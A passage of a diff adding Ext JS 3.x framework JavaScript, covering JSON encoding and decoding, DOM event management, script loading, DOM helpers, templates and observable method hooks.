x.fireEvent(e, x, w, q); + function o(D, C, B) { + if (Ext.isFunction(D)) { + D.apply(C, B) + } + } + + o(q.success, q.scope, [w, q]); + o(q.callback, q.scope, [q, true, w]); + if (!x.debugUploads) { + setTimeout(function () { + Ext.removeNode(r) + }, 100) + } + } + + Ext.EventManager.on(r, c, s, this); + m.submit(); + Ext.fly(m).set(n); + Ext.each(u, function (o) { + Ext.removeNode(o) + }) + }}) +})(); +Ext.Ajax = new Ext.data.Connection({autoAbort:false, serializeForm:function (a) { + return Ext.lib.Ajax.serializeForm(a) +}}); +Ext.util.JSON = new (function () { + var useHasOwn = !!{}.hasOwnProperty, isNative = function () { + var useNative = null; + return function () { + if (useNative === null) { + useNative = Ext.USE_NATIVE_JSON && window.JSON && JSON.toString() == "[object JSON]" + } + return useNative + } + }(), pad = function (n) { + return n < 10 ? "0" + n : n + }, doDecode = function (json) { + return json ? eval("(" + json + ")") : "" + }, doEncode = function (o) { + if (!Ext.isDefined(o) || o === null) { + return"null" + } else { + if (Ext.isArray(o)) { + return encodeArray(o) + } else { + if (Ext.isDate(o)) { + return Ext.util.JSON.encodeDate(o) + } else { + if (Ext.isString(o)) { + return encodeString(o) + } else { + if (typeof o == "number") { + return isFinite(o) ? String(o) : "null" + } else { + if (Ext.isBoolean(o)) { + return String(o) + } else { + var a = ["{"], b, i, v; + for (i in o) { + if (!o.getElementsByTagName) { + if (!useHasOwn || o.hasOwnProperty(i)) { + v = o[i]; + switch (typeof v) { + case"undefined": + case"function": + case"unknown": + break; + default: + if (b) { + a.push(",") + } + a.push(doEncode(i), ":", v === null ? "null" : doEncode(v)); + b = true + } + } + } + } + a.push("}"); + return a.join("") + } + } + } + } + } + } + }, m = {"\b":"\\b", "\t":"\\t", "\n":"\\n", "\f":"\\f", "\r":"\\r", '"':'\\"', "\\":"\\\\"}, encodeString = function (s) { + if (/["\\\x00-\x1f]/.test(s)) { + return'"' + s.replace(/([\x00-\x1f\\"])/g, function (a, b) { + var c = m[b]; + if (c) { + return c + } + c = b.charCodeAt(); + return"\\u00" + Math.floor(c / 16).toString(16) + (c % 16).toString(16) + }) + '"' + } + return'"' + s + '"' + }, encodeArray = function (o) { + var a = ["["], b, i, l = o.length, v; + for (i = 0; i < l; i += 1) { + v = o[i]; + switch (typeof v) { + case"undefined": + case"function": + case"unknown": + break; + default: + if (b) { + a.push(",") + } + a.push(v === null ? "null" : Ext.util.JSON.encode(v)); + b = true + } + } + a.push("]"); + return a.join("") + }; + this.encodeDate = function (o) { + return'"' + o.getFullYear() + "-" + pad(o.getMonth() + 1) + "-" + pad(o.getDate()) + "T" + pad(o.getHours()) + ":" + pad(o.getMinutes()) + ":" + pad(o.getSeconds()) + '"' + }; + this.encode = function () { + var ec; + return function (o) { + if (!ec) { + ec = isNative() ? JSON.stringify : doEncode + } + return ec(o) + } + }(); + this.decode = function () { + var dc; + return function (json) { + if (!dc) { + dc = isNative() ? JSON.parse : doDecode + } + return dc(json) + } + }() +})(); +Ext.encode = Ext.util.JSON.encode; +Ext.decode = Ext.util.JSON.decode; +Ext.EventManager = function () { + var z, p, j = false, l = Ext.isGecko || Ext.isWebKit || Ext.isSafari, o = Ext.lib.Event, q = Ext.lib.Dom, c = document, A = window, r = "DOMContentLoaded", t = "complete", g = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, u = []; + + function n(E) { + var H = false, D = 0, C = u.length, F = false, G; + if (E) { + if (E.getElementById || E.navigator) { + for (; D < C; ++D) { + G = u[D]; + if (G.el === E) { + H = G.id; + break + } + } + if (!H) { + H = Ext.id(E); + u.push({id:H, el:E}); + F = true + } + } else { + H = Ext.id(E) + } + if (!Ext.elCache[H]) { + Ext.Element.addToCache(new Ext.Element(E), H); + if (F) { + Ext.elCache[H].skipGC = true + } + } + } + return H + } + + function m(E, G, J, F, D, L) { + E = Ext.getDom(E); + var C = n(E), K = Ext.elCache[C].events, H; + H = o.on(E, G, D); + K[G] = K[G] || []; + K[G].push([J, D, L, H, F]); + if (E.addEventListener && G == "mousewheel") { + var I = ["DOMMouseScroll", D, false]; + E.addEventListener.apply(E, I); + Ext.EventManager.addListener(A, "unload", function () { + E.removeEventListener.apply(E, I) + }) + } + if (E == c && G == "mousedown") { + Ext.EventManager.stoppedMouseDownEvent.addListener(D) + } + } + + function d() { + if (window != top) { + return false + } + try { + c.documentElement.doScroll("left") + } catch (C) { + return false + } + b(); + return true + } + + function B(C) { + if (Ext.isIE && d()) { + return true + } + if (c.readyState == t) { + b(); + return true + } + j || (p = setTimeout(arguments.callee, 2)); + return false + } + + var k; + + function i(C) { + k || (k = Ext.query("style, link[rel=stylesheet]")); + if (k.length == c.styleSheets.length) { + b(); + return true + } + j || (p = setTimeout(arguments.callee, 2)); + return false + } + + function y(C) { + c.removeEventListener(r, arguments.callee, false); + i() + } + + function b(C) { + if (!j) { + j = true; + if (p) { + clearTimeout(p) + } + if (l) { + c.removeEventListener(r, b, false) + } + if (Ext.isIE && B.bindIE) { + c.detachEvent("onreadystatechange", B) + } + o.un(A, "load", arguments.callee) + } + if (z && !Ext.isReady) { + Ext.isReady = true; + z.fire(); + z.listeners = [] + } + } + + function a() { + z || (z = new Ext.util.Event()); + if (l) { + c.addEventListener(r, b, false) + } + if (Ext.isIE) { + if (!B()) { + B.bindIE = true; + c.attachEvent("onreadystatechange", B) + } + } else { + if (Ext.isOpera) { + (c.readyState == t && i()) || c.addEventListener(r, y, false) + } else { + if (Ext.isWebKit) { + B() + } + } + } + o.on(A, "load", b) + } + + function x(C, D) { + return function () { + var E = Ext.toArray(arguments); + if (D.target == Ext.EventObject.setEvent(E[0]).target) { + C.apply(this, E) + } + } + } + + function w(D, E, C) { + return function (F) { + C.delay(E.buffer, D, null, [new Ext.EventObjectImpl(F)]) + } + } + + function s(G, F, C, E, D) { + return function (H) { + Ext.EventManager.removeListener(F, C, E, D); + G(H) + } + } + + function e(D, E, C) { + return function (G) { + var F = new Ext.util.DelayedTask(D); + if (!C.tasks) { + C.tasks = [] + } + C.tasks.push(F); + F.delay(E.delay || 10, D, null, [new Ext.EventObjectImpl(G)]) + } + } + + function h(H, G, C, J, K) { + var D = (!C || typeof C == "boolean") ? {} : C, E = Ext.getDom(H), F; + J = J || D.fn; + K = K || D.scope; + if (!E) { + throw'Error listening for "' + G + '". Element "' + H + "\" doesn't exist." + } + function I(M) { + if (!Ext) { + return + } + M = Ext.EventObject.setEvent(M); + var L; + if (D.delegate) { + if (!(L = M.getTarget(D.delegate, E))) { + return + } + } else { + L = M.target + } + if (D.stopEvent) { + M.stopEvent() + } + if (D.preventDefault) { + M.preventDefault() + } + if (D.stopPropagation) { + M.stopPropagation() + } + if (D.normalized === false) { + M = M.browserEvent + } + J.call(K || E, M, L, D) + } + + if (D.target) { + I = x(I, D) + } + if (D.delay) { + I = e(I, D, J) + } + if (D.single) { + I = s(I, E, G, J, K) + } + if (D.buffer) { + F = new Ext.util.DelayedTask(I); + I = w(I, D, F) + } + m(E, G, J, F, I, K); + return I + } + + var v = {addListener:function (E, C, G, F, D) { + if (typeof C == "object") { + var J = C, H, I; + for (H in J) { + I = J[H]; + if (!g.test(H)) { + if (Ext.isFunction(I)) { + h(E, H, J, I, J.scope) + } else { + h(E, H, I) + } + } + } + } else { + h(E, C, D, G, F) + } + }, removeListener:function (E, I, M, N) { + E = Ext.getDom(E); + var C = n(E), K = E && (Ext.elCache[C].events)[I] || [], D, H, F, G, J, L; + for (H = 0, J = K.length; H < J; H++) { + if (Ext.isArray(L = K[H]) && L[0] == M && (!N || L[2] == N)) { + if (L[4]) { + L[4].cancel() + } + G = M.tasks && M.tasks.length; + if (G) { + while (G--) { + M.tasks[G].cancel() + } + delete M.tasks + } + D = L[1]; + o.un(E, I, o.extAdapter ? L[3] : D); + if (D && E.addEventListener && I == "mousewheel") { + E.removeEventListener("DOMMouseScroll", D, false) + } + if (D && E == c && I == "mousedown") { + Ext.EventManager.stoppedMouseDownEvent.removeListener(D) + } + K.splice(H, 1); + if (K.length === 0) { + delete Ext.elCache[C].events[I] + } + for (G in Ext.elCache[C].events) { + return false + } + Ext.elCache[C].events = {}; + return false + } + } + }, removeAll:function (E) { + E = Ext.getDom(E); + var D = n(E), J = Ext.elCache[D] || {}, M = J.events || {}, I, H, K, F, L, G, C; + for (F in M) { + if (M.hasOwnProperty(F)) { + I = M[F]; + for (H = 0, K = I.length; H < K; H++) { + L = I[H]; + if (L[4]) { + L[4].cancel() + } + if (L[0].tasks && (G = L[0].tasks.length)) { + while (G--) { + L[0].tasks[G].cancel() + } + delete L.tasks + } + C = L[1]; + o.un(E, F, o.extAdapter ? L[3] : C); + if (E.addEventListener && C && F == "mousewheel") { + E.removeEventListener("DOMMouseScroll", C, false) + } + if (C && E == c && F == "mousedown") { + Ext.EventManager.stoppedMouseDownEvent.removeListener(C) + } + } + } + } + if (Ext.elCache[D]) { + Ext.elCache[D].events = {} + } + }, getListeners:function (F, C) { + F = Ext.getDom(F); + var H = n(F), D = Ext.elCache[H] || {}, G = D.events || {}, E = []; + if (G && G[C]) { + return G[C] + } else { + return null + } + }, purgeElement:function (E, C, G) { + E = Ext.getDom(E); + var D = n(E), J = Ext.elCache[D] || {}, K = J.events || {}, F, I, H; + if (G) { + if (K && K.hasOwnProperty(G)) { + I = K[G]; + for (F = 0, H = I.length; F < H; F++) { + Ext.EventManager.removeListener(E, G, I[F][0]) + } + } + } else { + Ext.EventManager.removeAll(E) + } + if (C && E && E.childNodes) { + for (F = 0, H = E.childNodes.length; F < H; F++) { + Ext.EventManager.purgeElement(E.childNodes[F], C, G) + } + } + }, _unload:function () { + var C; + for (C in Ext.elCache) { + Ext.EventManager.removeAll(C) + } + delete Ext.elCache; + delete Ext.Element._flyweights; + var G, D, F, E = Ext.lib.Ajax; + (typeof E.conn == "object") ? D = E.conn : D = {}; + for (F in D) { + G = D[F]; + if (G) { + E.abort({conn:G, tId:F}) + } + } + }, onDocumentReady:function (E, D, C) { + if (Ext.isReady) { + z || (z = new Ext.util.Event()); + z.addListener(E, D, C); + z.fire(); + z.listeners = [] + } else { + if (!z) { + a() + } + C = C || {}; + C.delay = C.delay || 1; + z.addListener(E, D, C) + } + }, fireDocReady:b}; + v.on = v.addListener; + v.un = v.removeListener; + v.stoppedMouseDownEvent = new Ext.util.Event(); + return v +}(); +Ext.onReady = Ext.EventManager.onDocumentReady; +(function () { + var a = function () { + var c = document.body || document.getElementsByTagName("body")[0]; + if (!c) { + return false + } + var b = [" ", Ext.isIE ? "ext-ie " + (Ext.isIE6 ? "ext-ie6" : (Ext.isIE7 ? "ext-ie7" : (Ext.isIE8 ? "ext-ie8" : "ext-ie9"))) : Ext.isGecko ? "ext-gecko " + (Ext.isGecko2 ? "ext-gecko2" : "ext-gecko3") : Ext.isOpera ? "ext-opera" : Ext.isWebKit ? "ext-webkit" : ""]; + if (Ext.isSafari) { + b.push("ext-safari " + (Ext.isSafari2 ? "ext-safari2" : (Ext.isSafari3 ? "ext-safari3" : "ext-safari4"))) + } else { + if (Ext.isChrome) { + b.push("ext-chrome") + } + } + if (Ext.isMac) { + b.push("ext-mac") + } + if (Ext.isLinux) { + b.push("ext-linux") + } + if (Ext.isStrict || Ext.isBorderBox) { + var d = c.parentNode; + if (d) { + if (!Ext.isStrict) { + Ext.fly(d, "_internal").addClass("x-quirks"); + if (Ext.isIE && !Ext.isStrict) { + Ext.isIEQuirks = true + } + } + Ext.fly(d, "_internal").addClass(((Ext.isStrict && Ext.isIE) || (!Ext.enableForcedBoxModel && !Ext.isIE)) ? " ext-strict" : " ext-border-box") + } + } + if (Ext.enableForcedBoxModel && !Ext.isIE) { + Ext.isForcedBorderBox = true; + b.push("ext-forced-border-box") + } + Ext.fly(c, "_internal").addClass(b); + return true + }; + if (!a()) { + Ext.onReady(a) + } +})(); +(function () { + var b = Ext.apply(Ext.supports, {correctRightMargin:true, correctTransparentColor:true, cssFloat:true}); + var a = function () { + var g = document.createElement("div"), e = document, c, d; + g.innerHTML = '
'; + e.body.appendChild(g); + d = g.lastChild; + if ((c = e.defaultView)) { + if (c.getComputedStyle(g.firstChild.firstChild, null).marginRight != "0px") { + b.correctRightMargin = false + } + if (c.getComputedStyle(d, null).backgroundColor != "transparent") { + b.correctTransparentColor = false + } + } + b.cssFloat = !!d.style.cssFloat; + e.body.removeChild(g) + }; + if (Ext.isReady) { + a() + } else { + Ext.onReady(a) + } +})(); +Ext.EventObject = function () { + var b = Ext.lib.Event, c = /(dbl)?click/, a = {3:13, 63234:37, 63235:39, 63232:38, 63233:40, 63276:33, 63277:34, 63272:46, 63273:36, 63275:35}, d = Ext.isIE ? {1:0, 4:1, 2:2} : {0:0, 1:1, 2:2}; + Ext.EventObjectImpl = function (g) { + if (g) { + this.setEvent(g.browserEvent || g) + } + }; + Ext.EventObjectImpl.prototype = {setEvent:function (h) { + var g = this; + if (h == g || (h && h.browserEvent)) { + return h + } + g.browserEvent = h; + if (h) { + g.button = h.button ? d[h.button] : (h.which ? h.which - 1 : -1); + if (c.test(h.type) && g.button == -1) { + g.button = 0 + } + g.type = h.type; + g.shiftKey = h.shiftKey; + g.ctrlKey = h.ctrlKey || h.metaKey || false; + g.altKey = h.altKey; + g.keyCode = h.keyCode; + g.charCode = h.charCode; + g.target = b.getTarget(h); + g.xy = b.getXY(h) + } else { + g.button = -1; + g.shiftKey = false; + g.ctrlKey = false; + g.altKey = false; + g.keyCode = 0; + g.charCode = 0; + g.target = null; + g.xy = [0, 0] + } + return g + }, stopEvent:function () { + var e = this; + if (e.browserEvent) { + if (e.browserEvent.type == "mousedown") { + Ext.EventManager.stoppedMouseDownEvent.fire(e) + } + b.stopEvent(e.browserEvent) + } + }, preventDefault:function () { + if (this.browserEvent) { + b.preventDefault(this.browserEvent) + } + }, stopPropagation:function () { + var e = this; + if (e.browserEvent) { + if (e.browserEvent.type == "mousedown") { + Ext.EventManager.stoppedMouseDownEvent.fire(e) + } + b.stopPropagation(e.browserEvent) + } + }, getCharCode:function () { + return this.charCode || this.keyCode + }, getKey:function () { + return this.normalizeKey(this.keyCode || this.charCode) + }, normalizeKey:function (e) { + return Ext.isSafari ? (a[e] || e) : e + }, getPageX:function () { + return this.xy[0] + }, getPageY:function () { + return this.xy[1] + }, getXY:function () { + return this.xy + }, getTarget:function (g, h, e) { + return g ? Ext.fly(this.target).findParent(g, h, e) : (e ? Ext.get(this.target) : this.target) + }, getRelatedTarget:function () { + return this.browserEvent ? b.getRelatedTarget(this.browserEvent) : null + }, getWheelDelta:function () { + var g = this.browserEvent; + var h = 0; + if (g.wheelDelta) { + h = g.wheelDelta / 120 + } else { + if (g.detail) { + h = -g.detail / 3 + } + } + return h + }, within:function (h, i, e) { + if (h) { + var g = this[i ? "getRelatedTarget" : "getTarget"](); + return g && ((e ? (g == Ext.getDom(h)) : false) || Ext.fly(h).contains(g)) + } + return false + }}; + return new Ext.EventObjectImpl() +}(); +Ext.Loader = Ext.apply({}, {load:function (j, i, k, c) { + var k = k || this, g = document.getElementsByTagName("head")[0], b = document.createDocumentFragment(), a = j.length, h = 0, e = this; + var l = function (m) { + g.appendChild(e.buildScriptTag(j[m], d)) + }; + var d = function () { + h++; + if (a == h && typeof i == "function") { + i.call(k) + } else { + if (c === true) { + l(h) + } + } + }; + if (c === true) { + l.call(this, 0) + } else { + Ext.each(j, function (n, m) { + b.appendChild(this.buildScriptTag(n, d)) + }, this); + g.appendChild(b) + } +}, buildScriptTag:function (b, c) { + var a = document.createElement("script"); + a.type = "text/javascript"; + a.src = b; + if (a.readyState) { + a.onreadystatechange = function () { + if (a.readyState == "loaded" || a.readyState == "complete") { + a.onreadystatechange = null; + c() + } + } + } else { + a.onload = c + } + return a +}}); +Ext.ns("Ext.grid", "Ext.list", "Ext.dd", "Ext.tree", "Ext.form", "Ext.menu", "Ext.state", "Ext.layout.boxOverflow", "Ext.app", "Ext.ux", "Ext.chart", "Ext.direct", "Ext.slider"); +Ext.apply(Ext, function () { + var c = Ext, a = 0, b = null; + return{emptyFn:function () { + }, BLANK_IMAGE_URL:Ext.isIE6 || Ext.isIE7 || Ext.isAir ? "http://www.extjs.com/s.gif" : "data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", extendX:function (d, e) { + return Ext.extend(d, e(d.prototype)) + }, getDoc:function () { + return Ext.get(document) + }, num:function (e, d) { + e = Number(Ext.isEmpty(e) || Ext.isArray(e) || typeof e == "boolean" || (typeof e == "string" && e.trim().length == 0) ? NaN : e); + return isNaN(e) ? d : e + }, value:function (g, d, e) { + return Ext.isEmpty(g, e) ? d : g + }, escapeRe:function (d) { + return d.replace(/([-.*+?^${}()|[\]\/\\])/g, "\\$1") + }, sequence:function (h, d, g, e) { + h[d] = h[d].createSequence(g, e) + }, addBehaviors:function (i) { + if (!Ext.isReady) { + Ext.onReady(function () { + Ext.addBehaviors(i) + }) + } else { + var e = {}, h, d, g; + for (d in i) { + if ((h = d.split("@"))[1]) { + g = h[0]; + if (!e[g]) { + e[g] = Ext.select(g) + } + e[g].on(h[1], i[d]) + } + } + e = null + } + }, getScrollBarWidth:function (g) { + if (!Ext.isReady) { + return 0 + } + if (g === true || b === null) { + var i = Ext.getBody().createChild('
'), h = i.child("div", true); + var e = h.offsetWidth; + i.setStyle("overflow", (Ext.isWebKit || Ext.isGecko) ? "auto" : "scroll"); + var d = h.offsetWidth; + i.remove(); + b = e - d + 2 + } + return b + }, combine:function () { + var g = arguments, e = g.length, j = []; + for (var h = 0; h < e; h++) { + var d = g[h]; + if (Ext.isArray(d)) { + j = j.concat(d) + } else { + if (d.length !== undefined && !d.substr) { + j = j.concat(Array.prototype.slice.call(d, 0)) + } else { + j.push(d) + } + } + } + return j + }, copyTo:function (d, e, g) { + if (typeof g == "string") { + g = g.split(/[,;\s]/) + } + Ext.each(g, function (h) { + if (e.hasOwnProperty(h)) { + d[h] = e[h] + } + }, this); + return d + }, destroy:function () { + Ext.each(arguments, function (d) { + if (d) { + if (Ext.isArray(d)) { + this.destroy.apply(this, d) + } else { + if (typeof d.destroy == "function") { + d.destroy() + } else { + if (d.dom) { + d.remove() + } + } + } + } + }, this) + }, destroyMembers:function (l, j, g, h) { + for (var k = 1, e = arguments, d = e.length; k < d; k++) { + Ext.destroy(l[e[k]]); + delete l[e[k]] + } + }, clean:function (d) { + var e = []; + Ext.each(d, function (g) { + if (!!g) { + e.push(g) + } + }); + return e + }, unique:function (d) { + var e = [], g = {}; + Ext.each(d, function (h) { + if (!g[h]) { + e.push(h) + } + g[h] = true + }); + return e + }, flatten:function (d) { + var g = []; + + function e(h) { + Ext.each(h, function (i) { + if (Ext.isArray(i)) { + e(i) + } else { + g.push(i) + } + }); + return g + } + + return e(d) + }, min:function (d, e) { + var g = d[0]; + e = e || function (i, h) { + return i < h ? -1 : 1 + }; + Ext.each(d, function (h) { + g = e(g, h) == -1 ? g : h + }); + return g + }, max:function (d, e) { + var g = d[0]; + e = e || function (i, h) { + return i > h ? 1 : -1 + }; + Ext.each(d, function (h) { + g = e(g, h) == 1 ? g : h + }); + return g + }, mean:function (d) { + return d.length > 0 ? Ext.sum(d) / d.length : undefined + }, sum:function (d) { + var e = 0; + Ext.each(d, function (g) { + e += g + }); + return e + }, partition:function (d, e) { + var g = [ + [], + [] + ]; + Ext.each(d, function (j, k, h) { + g[(e && e(j, k, h)) || (!e && j) ? 0 : 1].push(j) + }); + return g + }, invoke:function (d, e) { + var h = [], g = Array.prototype.slice.call(arguments, 2); + Ext.each(d, function (j, k) { + if (j && typeof j[e] == "function") { + h.push(j[e].apply(j, g)) + } else { + h.push(undefined) + } + }); + return h + }, pluck:function (d, g) { + var e = []; + Ext.each(d, function (h) { + e.push(h[g]) + }); + return e + }, zip:function () { + var n = Ext.partition(arguments, function (i) { + return typeof i != "function" + }), k = n[0], m = n[1][0], d = Ext.max(Ext.pluck(k, "length")), h = []; + for (var l = 0; l < d; l++) { + h[l] = []; + if (m) { + h[l] = m.apply(m, Ext.pluck(k, l)) + } else { + for (var g = 0, e = k.length; g < e; g++) { + h[l].push(k[g][l]) + } + } + } + return h + }, getCmp:function (d) { + return Ext.ComponentMgr.get(d) + }, useShims:c.isIE6 || (c.isMac && c.isGecko2), type:function (e) { + if (e === undefined || e === null) { + return false + } + if (e.htmlElement) { + return"element" + } + var d = typeof e; + if (d == "object" && e.nodeName) { + switch (e.nodeType) { + case 1: + return"element"; + case 3: + return(/\S/).test(e.nodeValue) ? "textnode" : "whitespace" + } + } + if (d == "object" || d == "function") { + switch (e.constructor) { + case Array: + return"array"; + case RegExp: + return"regexp"; + case Date: + return"date" + } + if (typeof e.length == "number" && typeof e.item == "function") { + return"nodelist" + } + } + return d + }, intercept:function (h, d, g, e) { + h[d] = h[d].createInterceptor(g, e) + }, callback:function (d, h, g, e) { + if (typeof d == "function") { + if (e) { + d.defer(e, h, g || []) + } else { + d.apply(h, g || []) + } + } + }} +}()); +Ext.apply(Function.prototype, {createSequence:function (b, a) { + var c = this; + return(typeof b != "function") ? this : function () { + var d = c.apply(this || window, arguments); + b.apply(a || this || window, arguments); + return d + } +}}); +Ext.applyIf(String, {escape:function (a) { + return a.replace(/('|\\)/g, "\\$1") +}, leftPad:function (d, b, c) { + var a = String(d); + if (!c) { + c = " " + } + while (a.length < b) { + a = c + a + } + return a +}}); +String.prototype.toggle = function (b, a) { + return this == b ? a : b +}; +String.prototype.trim = function () { + var a = /^\s+|\s+$/g; + return function () { + return this.replace(a, "") + } +}(); +Date.prototype.getElapsed = function (a) { + return Math.abs((a || new Date()).getTime() - this.getTime()) +}; +Ext.applyIf(Number.prototype, {constrain:function (b, a) { + return Math.min(Math.max(this, b), a) +}}); +Ext.lib.Dom.getRegion = function (a) { + return Ext.lib.Region.getRegion(a) +}; +Ext.lib.Region = function (d, g, a, c) { + var e = this; + e.top = d; + e[1] = d; + e.right = g; + e.bottom = a; + e.left = c; + e[0] = c +}; +Ext.lib.Region.prototype = {contains:function (b) { + var a = this; + return(b.left >= a.left && b.right <= a.right && b.top >= a.top && b.bottom <= a.bottom) +}, getArea:function () { + var a = this; + return((a.bottom - a.top) * (a.right - a.left)) +}, intersect:function (h) { + var g = this, d = Math.max(g.top, h.top), e = Math.min(g.right, h.right), a = Math.min(g.bottom, h.bottom), c = Math.max(g.left, h.left); + if (a >= d && e >= c) { + return new Ext.lib.Region(d, e, a, c) + } +}, union:function (h) { + var g = this, d = Math.min(g.top, h.top), e = Math.max(g.right, h.right), a = Math.max(g.bottom, h.bottom), c = Math.min(g.left, h.left); + return new Ext.lib.Region(d, e, a, c) +}, constrainTo:function (b) { + var a = this; + a.top = a.top.constrain(b.top, b.bottom); + a.bottom = a.bottom.constrain(b.top, b.bottom); + a.left = a.left.constrain(b.left, b.right); + a.right = a.right.constrain(b.left, b.right); + return a +}, adjust:function (d, c, a, g) { + var e = this; + e.top += d; + e.left += c; + e.right += g; + e.bottom += a; + return e +}}; +Ext.lib.Region.getRegion = function (e) { + var h = Ext.lib.Dom.getXY(e), d = h[1], g = h[0] + e.offsetWidth, a = h[1] + e.offsetHeight, c = h[0]; + return new Ext.lib.Region(d, g, a, c) +}; +Ext.lib.Point = function (a, c) { + if (Ext.isArray(a)) { + c = a[1]; + a = a[0] + } + var b = this; + b.x = b.right = b.left = b[0] = a; + b.y = b.top = b.bottom = b[1] = c +}; +Ext.lib.Point.prototype = new Ext.lib.Region(); +Ext.apply(Ext.DomHelper, function () { + var e, a = "afterbegin", h = "afterend", i = "beforebegin", d = "beforeend", b = /tag|children|cn|html$/i; + + function g(m, p, n, q, l, j) { + m = Ext.getDom(m); + var k; + if (e.useDom) { + k = c(p, null); + if (j) { + m.appendChild(k) + } else { + (l == "firstChild" ? m : m.parentNode).insertBefore(k, m[l] || m) + } + } else { + k = Ext.DomHelper.insertHtml(q, m, Ext.DomHelper.createHtml(p)) + } + return n ? Ext.get(k, true) : k + } + + function c(j, r) { + var k, u = document, p, s, m, t; + if (Ext.isArray(j)) { + k = u.createDocumentFragment(); + for (var q = 0, n = j.length; q < n; q++) { + c(j[q], k) + } + } else { + if (typeof j == "string") { + k = u.createTextNode(j) + } else { + k = u.createElement(j.tag || "div"); + p = !!k.setAttribute; + for (var s in j) { + if (!b.test(s)) { + m = j[s]; + if (s == "cls") { + k.className = m + } else { + if (p) { + k.setAttribute(s, m) + } else { + k[s] = m + } + } + } + } + Ext.DomHelper.applyStyles(k, j.style); + if ((t = j.children || j.cn)) { + c(t, k) + } else { + if (j.html) { + k.innerHTML = j.html + } + } + } + } + if (r) { + r.appendChild(k) + } + return k + } + + e = {createTemplate:function (k) { + var j = Ext.DomHelper.createHtml(k); + return new Ext.Template(j) + }, useDom:false, insertBefore:function (j, l, k) { + return g(j, l, k, i) + }, insertAfter:function (j, l, k) { + return g(j, l, k, h, "nextSibling") + }, insertFirst:function (j, l, k) { + return g(j, l, k, a, "firstChild") + }, append:function (j, l, k) { + return g(j, l, k, d, "", true) + }, createDom:c}; + return e +}()); +Ext.apply(Ext.Template.prototype, {disableFormats:false, re:/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, argsRe:/^\s*['"](.*)["']\s*$/, compileARe:/\\/g, compileBRe:/(\r\n|\n)/g, compileCRe:/'/g, applyTemplate:function (b) { + var g = this, a = g.disableFormats !== true, e = Ext.util.Format, c = g; + if (g.compiled) { + return g.compiled(b) + } + function d(j, l, p, k) { + if (p && a) { + if (p.substr(0, 5) == "this.") { + return c.call(p.substr(5), b[l], b) + } else { + if (k) { + var o = g.argsRe; + k = k.split(","); + for (var n = 0, h = k.length; n < h; n++) { + k[n] = k[n].replace(o, "$1") + } + k = [b[l]].concat(k) + } else { + k = [b[l]] + } + return e[p].apply(e, k) + } + } else { + return b[l] !== undefined ? b[l] : "" + } + } + + return g.html.replace(g.re, d) +}, compile:function () { + var me = this, fm = Ext.util.Format, useF = me.disableFormats !== true, sep = Ext.isGecko ? "+" : ",", body; + + function fn(m, name, format, args) { + if (format && useF) { + args = args ? "," + args : ""; + if (format.substr(0, 5) != "this.") { + format = "fm." + format + "(" + } else { + format = 'this.call("' + format.substr(5) + '", '; + args = ", values" + } + } else { + args = ""; + format = "(values['" + name + "'] == undefined ? '' : " + } + return"'" + sep + format + "values['" + name + "']" + args + ")" + sep + "'" + } + + if (Ext.isGecko) { + body = "this.compiled = function(values){ return '" + me.html.replace(me.compileARe, "\\\\").replace(me.compileBRe, "\\n").replace(me.compileCRe, "\\'").replace(me.re, fn) + "';};" + } else { + body = ["this.compiled = function(values){ return ['"]; + body.push(me.html.replace(me.compileARe, "\\\\").replace(me.compileBRe, "\\n").replace(me.compileCRe, "\\'").replace(me.re, fn)); + body.push("'].join('');};"); + body = body.join("") + } + eval(body); + return me +}, call:function (c, b, a) { + return this[c](b, a) +}}); +Ext.Template.prototype.apply = Ext.Template.prototype.applyTemplate; +Ext.util.Functions = {createInterceptor:function (c, b, a) { + var d = c; + if (!Ext.isFunction(b)) { + return c + } else { + return function () { + var g = this, e = arguments; + b.target = g; + b.method = c; + return(b.apply(a || g || window, e) !== false) ? c.apply(g || window, e) : null + } + } +}, createDelegate:function (c, d, b, a) { + if (!Ext.isFunction(c)) { + return c + } + return function () { + var g = b || arguments; + if (a === true) { + g = Array.prototype.slice.call(arguments, 0); + g = g.concat(b) + } else { + if (Ext.isNumber(a)) { + g = Array.prototype.slice.call(arguments, 0); + var e = [a, 0].concat(b); + Array.prototype.splice.apply(g, e) + } + } + return c.apply(d || window, g) + } +}, defer:function (d, c, e, b, a) { + d = Ext.util.Functions.createDelegate(d, e, b, a); + if (c > 0) { + return setTimeout(d, c) + } + d(); + return 0 +}, createSequence:function (c, b, a) { + if (!Ext.isFunction(b)) { + return c + } else { + return function () { + var d = c.apply(this || window, arguments); + b.apply(a || this || window, arguments); + return d + } + } +}}; +Ext.defer = Ext.util.Functions.defer; +Ext.createInterceptor = Ext.util.Functions.createInterceptor; +Ext.createSequence = Ext.util.Functions.createSequence; +Ext.createDelegate = Ext.util.Functions.createDelegate; +Ext.apply(Ext.util.Observable.prototype, function () { + function a(j) { + var i = (this.methodEvents = this.methodEvents || {})[j], d, c, g, h = this; + if (!i) { + this.methodEvents[j] = i = {}; + i.originalFn = this[j]; + i.methodName = j; + i.before = []; + i.after = []; + var b = function (l, k, e) { + if ((c = l.apply(k || h, e)) !== undefined) { + if (typeof c == "object") { + if (c.returnValue !== undefined) { + d = c.returnValue + } else { + d = c + } + g = !!c.cancel + } else { + if (c === false) { + g = true + } else { + d = c + } + } + } + }; + this[j] = function () { + var l = Array.prototype.slice.call(arguments, 0), k; + d = c = undefined; + g = false; + for (var m = 0, e = i.before.length; m < e; m++) { + k = i.before[m]; + b(k.fn, k.scope, l); + if (g) { + return d + } + } + if ((c = i.originalFn.apply(h, l)) !== undefined) { + d = c + } + for (var m = 0, e = i.after.length; m < e; m++) { + k = i.after[m]; + b(k.fn, k.scope, l); + if (g) { + return d + } + } + return d + } + } + return i + } + + return{beforeMethod:function (d, c, b) { + a.call(this, d).before.push({fn:c, scope:b}) + }, afterMethod:function (d, c, b) { + a.call(this, d).after.push({fn:c, scope:b}) + }, removeMethodListener:function (j, g, d) { + var h = this.getMethodEvent(j); + for (var c = 0, b = h.before.length; c < b; c++) { + if (h.before[c].fn == g && h.before[c].scope == d) { + h.before.splice(c, 1); + return + } + } + for (var c = 0, b = h.after.length; c < b; c++) { + if (h.after[c].fn == g && h.after[c].scope == d) { + h.after.splice(c, 1); + return + } + } + }, relayEvents:function (j, e) { + var h = this; + + function g(i) { + return function () { + return h.fireEvent.apply(h, 